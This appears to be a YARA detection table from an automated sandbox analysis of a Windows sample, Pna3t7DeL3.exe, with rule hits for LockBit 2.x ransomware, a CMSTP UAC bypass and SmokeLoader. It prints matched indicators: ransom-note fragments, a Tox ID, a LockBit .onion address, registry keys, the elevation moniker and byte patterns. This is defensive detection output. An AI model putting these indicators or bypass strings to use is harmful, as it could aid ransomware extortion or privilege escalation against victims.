0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x36f7:$a1: \LockBit_Ransomware.hta 0x3bbf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3c3f:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3caf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x35ff:$a3: %s\%02X%02X%02X%02X.lock
0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x5284f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaf8f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcb25f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x4157:$s_ransom_note01: that is located in every encrypted folder. 0x41af:$s_ransom_note02: Would you like to earn millions of dollars? 0x4773:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x4917:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x36f7:$x_str2: \LockBit_Ransomware.hta 0x3709:$s_str2: Ransomware.hta
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x36f7:$a1: \LockBit_Ransomware.hta 0x3bbf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3c3f:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3caf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x35ff:$a3: %s\%02X%02X%02X%02X.lock
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x5284f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaf8f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcb25f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x4157:$s_ransom_note01: that is located in every encrypted folder. 0x41af:$s_ransom_note02: Would you like to earn millions of dollars? 0x4773:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x4917:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x36f7:$x_str2: \LockBit_Ransomware.hta 0x3709:$s_str2: Ransomware.hta
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x36f7:$a1: \LockBit_Ransomware.hta 0x3bbf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3c3f:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3caf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x35ff:$a3: %s\%02X%02X%02X%02X.lock
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x5284f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaf8f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcb25f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x4157:$s_ransom_note01: that is located in every encrypted folder. 0x41af:$s_ransom_note02: Would you like to earn millions of dollars? 0x4773:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x4917:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x36f7:$x_str2: \LockBit_Ransomware.hta 0x3709:$s_str2: Ransomware.hta
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x36f7:$a1: \LockBit_Ransomware.hta 0x3bbf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3c3f:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3caf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x35ff:$a3: %s\%02X%02X%02X%02X.lock
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x5284f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaf8f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcb25f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: Pna3t7DeL3.exe PID: 3780	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 3780	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 3780	JoeSecurity_Conti_ransomware	Yara detected Conti ransomware	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 5124	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 5124	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 4492	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 4492	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 5068	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 5068	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 3964	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Pna3t7DeL3.exe PID: 3964	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Click to see the 110 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
18.3.Pna3t7DeL3.exe.4940000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
18.3.Pna3t7DeL3.exe.4940000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.3.Pna3t7DeL3.exe.4940000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.3.Pna3t7DeL3.exe.4940000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
18.3.Pna3t7DeL3.exe.4940000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
18.3.Pna3t7DeL3.exe.4940000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.2.Pna3t7DeL3.exe.400000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
34.2.Pna3t7DeL3.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
34.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.2.Pna3t7DeL3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
34.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
34.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.2.Pna3t7DeL3.exe.400000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
10.2.Pna3t7DeL3.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
10.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.2.Pna3t7DeL3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
10.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
10.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
18.2.Pna3t7DeL3.exe.400000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
18.2.Pna3t7DeL3.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
18.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.2.Pna3t7DeL3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
